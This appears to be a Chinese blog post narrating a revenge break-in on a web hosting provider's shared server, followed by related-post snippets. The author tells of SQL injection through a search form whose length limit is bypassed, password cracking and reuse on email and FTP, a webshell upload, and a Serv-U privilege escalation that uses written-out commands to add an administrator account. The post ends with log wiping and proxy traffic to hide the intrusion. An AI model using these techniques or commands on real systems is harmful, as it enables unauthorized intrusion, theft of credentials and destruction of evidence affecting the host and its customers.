从搜索参数过滤不严到IDC虚拟主机的渗透

有天跟朋友谈起BLOG备案的问题,无意中提到了空间提供商IDC。说起IDC,没想到朋友还有段非常不愉快的经历。

事情是这样的:当时他也是没经验,想选个虚拟主机做网站,当然出于习惯问题,他对提供自己虚拟主机空间服务的这台服务器做了下安全检测,结果他拿到了空间提供商WEB目录的权限,于是……小小地给自己加了一年的时间。没想到被他空间提供商发现了,封闭了朋友的空间和FTP账号。后来他看了下,这个空间商竟然连电子经营许可证(ICP证)都没有!汗ing....

不过据说后来那台服务器增强了安全性,配置得还不错!既然你不仅不合法而且又得罪了偶那可爱得不能再可爱的朋友,那就免费给你做次安全检测吧!

废话不多说了,既然朋友认为他的安全性还可以,那系统扫描这档子事就根本没必要做了,直接看WEB安全性!找啊找啊找朋友,找到一个好朋友……晕!主站安全性确实还说得过去,过滤得很严格!再用 Domain 3.0 看了下。

晕,那么多虚拟主机跟自己的站放在一起——真会赚钱啊!好了,我们继续。导入网址进行路径扫描,扫出几个upfile.asp upload.asp,尝试上传,均告失败(这不奇怪,毕竟是很老的洞洞了)。既然这个不行,我们再看,告诉你我可是有的是耐心。

随便从 Domain 3.0 左边点了个站进去,是个在线购物站点,有ICP证!SORRY SORRY 我的目标不是你,只是借个WebShell用用而已!费了九牛二虎之力解释清楚之后,开始检测了……

首先找BBS——发现没有,不过倒是看到了个留言板,不错!就是你了,我们来看看。打开大致看了下,这个留言板简单得不能再简单了,尝试了几个“and 1=1”、“and 1=2”没发现问题。暴数据库路径也别想了,这个BT IDC已经全部做了错误处理,返回定制页,所以即使出错了也得不到有用信息(不过如果是MSSQL数据库在注入点将有办法解决这个问题)!这时候,目光落到了“搜索留言”上。赶紧打开,直觉告诉我这里有问题。

前面看到了一个留言,关键词是“人气”,那我们先在搜索栏里搜索一下“人气”,返回正常页面。

接着当我想构造检测语句的时候出了点小问题,查询框有字符长度限制。不过这个小CASE! 我们把当前页面的源码保存到本地,搜索Action找到如下语句:

原始代码:

------------------------------------------------------------------------------------------

<FORM onsubmit="return check(this)" action=searchresult.asp method=post>

<TABLE class=lybtable height=64 cellSpacing=0 cellPadding=0 width=650

align=center>

<TBODY>

<TR>

<TD width="100%" height=64>

<DIV align=center><FONT color=#000000> <B> 查询方式:</B> <SELECT size=1

name=classid> <OPTION selected>留言内容</OPTION> <OPTION>回复内容</OPTION>

<OPTION>姓名</OPTION></SELECT> 关键字: <INPUT maxLength=12 size=28

name=keyword> <INPUT class=noborder accessKey=s type=submit value=查询(S) name=B1>

</FONT></DIV></TD></TR></TBODY></TABLE></FORM>

-----------------------------------------------------------------------------------------

我们这里需要改几个地方,把“action=searchresult.asp”改成“action=http://www.xxx.com/lyb/searchresult.asp”(这里我隐藏了原始地址,为了保护自己也为了保护该站点),当然啦,不能忘了改最重要的东西:“maxLength=12”改成 “maxLength=152”,修改后的代码如下:

------------------------------------------------------------------------------------------

<FORM onsubmit="return check(this)" action=http://www.xxx.com/lyb/searchresult.asp

method=post>

<TABLE class=lybtable height=64 cellSpacing=0 cellPadding=0 width=650

align=center>

<TBODY>

<TR>

<TD width="100%" height=64>

<DIV align=center><FONT color=#000000> <B> 查询方式:</B> <SELECT size=1

name=classid> <OPTION selected>留言内容</OPTION> <OPTION>回复内容</OPTION>

<OPTION>姓名</OPTION></SELECT> 关键字: <INPUT maxLength=152 size=28

name=keyword> <INPUT class=noborder accessKey=s type=submit value=查询(S) name=B1>

</FONT></DIV></TD></TR></TBODY></TABLE></FORM>

------------------------------------------------------------------------------------------

好了,接下来我们就可以本地提交了!打开修改后的页面,在搜索栏里查询:“人气%' and 1=1 and '%'='”——返回正常页面。

接着,我们尝试查询:“人气%' and 1=2 and '%'='”——出错!果然有问题。

好了,既然找到了突破口,我们继续!手动猜太累了,交给 NBSI 2吧。我们构造如下 URL :http://www.xxx.com/lyb/searchresult.asp?classid=留言内容&keyword=人气,在关键词里输入正常页面里的一个词,我这里选“2005”,好了,GO!一声令下,NBSI 2飞快地运行了,没过多久,密码出来了。晕,MD5加密的,不过不要紧,一下子就破解出来了。

不用扫路径了,页面上直接就有管理员登录的链接,我们成功登录!不过情况不太乐观,后台功能实在是简单得不能再简单了,尝试获得一个WebShell别说还真不是件容易的事!思路一转,扫购物系统的后台(本来还想跟留言板一样直接找个管理员登录的链接的,无奈找不到)!扫描结果很不幸,后台路径我们无从知道!到这里难道就没办法了?办法不会没有,而是你找不到罢了!我们注意到了这里。

管理员资料里包括邮件账号,抱着试试看的态度,我尝试着登录该站管理员的邮箱——竟然成功!马上退出,想到什么了?对,FTP账号!用邮箱@前的账号和前面我们破解出来的密码成功连接上空间商的FTP!然后呢?当然是上传WebShell了!

马上传了个海洋2006网安中国zrrrshoo个人专用版,访问链接,没被查杀,成功。粗略看了下目录设置,标准的虚拟主机权限分配:每个空间独立运行,文件夹名为域名,不能遍历其它站点目录,CDE分区根目录一概无权限浏览!随手一个“net user”,不出所料,无法执行!尝试跳转到“c:\winnt\system32\inetsrv\data\”,成功了!上传一个改名了的cmd.exe,在海洋里指定路径“c:\winnt\system32\inetsrv\data\cmd.exe /c”执行命令—成功!“net start”,再次不出所料,服务器里果然有个Serv-U乖乖躺在那里,等着给我们提升权限。不过先别乐观,没成功之前什么都不确定!“netstat -an”:印入眼帘的包括一个“43958”,看来没想象中的复杂!接着目录跳转至“C:\Documents and Settings\All Users\「开始」菜单\程序\”找到Serv-U目录,进去下载快捷方式回来!知道了他的Serv-U安装路径:“D:\serv-U\”,看看能不能跳转进入—成功!又是老套路,写入新用户到“ServUDaemon.ini”准备走人的时候,竟然提示出错了!郁闷,看来是没有写权限……

不过一件令人大跌眼镜的事情发生了,本来以为应该有防火墙过滤除少数几个外的所有端口的,没想到上传 Fpipe后,转发的高端口能直接连接上,那还说什么,本地新建FTP域,远程连接管理,加用户,FTP上去“quote site exec net user zrrrshoo /add”;“quote site exec net user zrrrshoo zrrr”;“quote site exec net localgroup administrators zrrrshoo /add”,他有3389,我怕又做了登录限制,不过事实证明我的担心是多余的!直接就登录进去了。好了,安全要紧,清除所有日志,再开个ChallengeCollapsar,用30个代理变换路径访问15分钟(主要是不让WEB日志空空如也),OK!明天把他交给朋友处理吧!

(0)

相关推荐

  • 从搜索参数过滤不严到IDC虚拟主机的渗透

    有天跟朋友谈起BLOG备案的问题,无意中提到了空间提供商IDC.说起IDC,没想到朋友还有段非常不愉快的经历. 事情是这样的:当时他也是没经验,想选个虚拟主机做网站,当然出于习惯问题,他对提供自己虚拟主机空间服务的这台服务器做了下安全检测,结果他拿到了空间提供商WEB目录的权限,于是--小小地给自己加了一年的时间.没想到被他空间提供商发现了,封闭了朋友的空间和FTP账号.后来他看了下,这个空间商竟然连电子经营许可证(ICP证)都没有!汗ing.... 不过据说后来那台服务器增强了安全性,配置得还

  • 老兵新传-各种漏洞的利用和一些搜索参数

    各种漏洞的利用和一些搜索参数 说到漏洞,首先应该提到的就是动网的上传漏洞了. "洞网"漏洞拉开了上传漏洞文件的序幕,其他系统的上 传漏洞接踵而来! asp动网论坛漏洞分析 1.这个漏洞不算太严重,用过动网论坛的人都知道,发帖时直接写javascript会被过滤拆分,写http会自动加上链接,漏洞就在此,在这两个地方变通一下,把两个单词的某个字母换成编码形式,然后系统再对应地解码回字母,就达到了避免被过滤的目的.例子说明一下,在发帖时写入[img]javasc然后在"特征字符&

  • 输入值/表单提交参数过滤有效防止sql注入的方法

    输入值/表单提交参数过滤,防止sql注入或非法攻击的方法: 复制代码 代码如下: /** * 过滤sql与php文件操作的关键字 * @param string $string * @return string * @author zyb <zyb_icanplay@163.com> */ private function filter_keyword( $string ) { $keyword = 'select|insert|update|delete|\'|\/\*|\*|\.\.\/|

  • php 参数过滤、数据过滤详解

    下面通过一段代码给大家介绍php参数过滤 class mysafe{ public $logname; public $isshwomsg; function __construct(){ set_error_handler('MyError',E_ALL); //----- } function MyError($errno, $errstr, $errfile, $errline){ echo "<b>Error number:</b> [$errno],error

  • 使用SpringBoot请求参数过滤空格

    目录 SpringBoot请求参数过滤空格 1.参数修改SpaceHttpServletRequestWrapper 2.空格过滤器 3.过滤器初始化 SpringBoot指定执行参数,参数值包含空格问题 方式一(错误): 方式二(错误): 方式三(错误): 方式四(错误): 方式五(正确): SpringBoot请求参数过滤空格 1.参数修改SpaceHttpServletRequestWrapper public class SpaceHttpServletRequestWrapper ex

  • 2007 10.30动易网站管理系统vote.asp页面存在SQL注入漏洞

    测试系统:         动易(PowerEasy CMS SP6 071030以下版本) 安全综述:        动易网站管理系统是一个采用 ASP 和 MSSQL 等其他多种数据库构建的高效网站内容管理解决方案产品. 漏洞描述:     vote.asp调用了动易组件PE_Site.ShowVote,此组件VoteOption参数过滤不严,导致可以进行mssql注入     但是其语句里面过滤了-- ;等字符,又是一个UPDATE形的注入,有一定的限制.但是其过滤的顺序不对.有导致mss

  • MSSQL自身存储过程的一个注入漏洞

    Infos: MSSQL自身存储过程的一个注入 Author: 疯子[BCT] Date: 10/11/2007 我看到MSSQL的存储过程中,有模有样的在过滤. 然后我就去读读他们的存储过程.就找到了一个注入而已. 疯子如是说. 漏洞资料如下: master..sp_resolve_logins存储过程中,对@dest_path参数过滤不严,导致xp_cmdshell注入. 分析: 复制代码 代码如下: SELECT @dest_path = RTRIM(LTRIM(@dest_path))

  • Apache 的 httpd.conf 中文详解

    ServerRoot "/usr/local" ServerRoot用于指定守护进程httpd的运行目录,httpd在启动之后将自动将进程的当前目录改变为这个目录,因此如果设置文件中指定的文件或目录是相对路径,那么真实路径就位于这个ServerR oot定义的路径之下. ScoreBoardFile /var/run/httpd.scoreboard httpd使用ScoreBoardFile来维护进程的内部数据,因此通常不需要改变这个参数,除非管理员想在一台计算机上运行几个 Apac

  • linux Apache服务器系统安全设置与优化第1/3页

    Apache服务器的设置文件位于/usr/local/apache/conf/目录下,传统上使用三个配置文件httpd.conf, access.conf和srm.conf, 来配置Apache服务器的行为.httpd.conf提供了最基本的服务器配置,是对守护程序 httpd如何运行的技术描述;srm.conf是服务器的资源映射文件,告诉服务器各种文件的MIME类型,以及如何支持这些文件; access.conf用于配置服务器的访问权限,控制不同用户和计算机的访问限制;这三个配置文件控制着服务

  • Apache服务器配置攻略1

    Apache服务器配置全攻略(一) Apache服务器的设置文件位于/usr/local/apache/conf/目录下,传统上使用三个配置文件httpd.conf,access.conf和srm.conf,来配置Apache服务器的行为.httpd.conf提供了最基本的服务器配置,是对守护程序httpd如何运行的技术描述:srm.conf是服务器的资源映射文件,告诉服务器各种文件的MIME类型,以及如何支持这些文件:access.conf用于配置服务器的访问权限,控制不同用户和计算机的访问限

随机推荐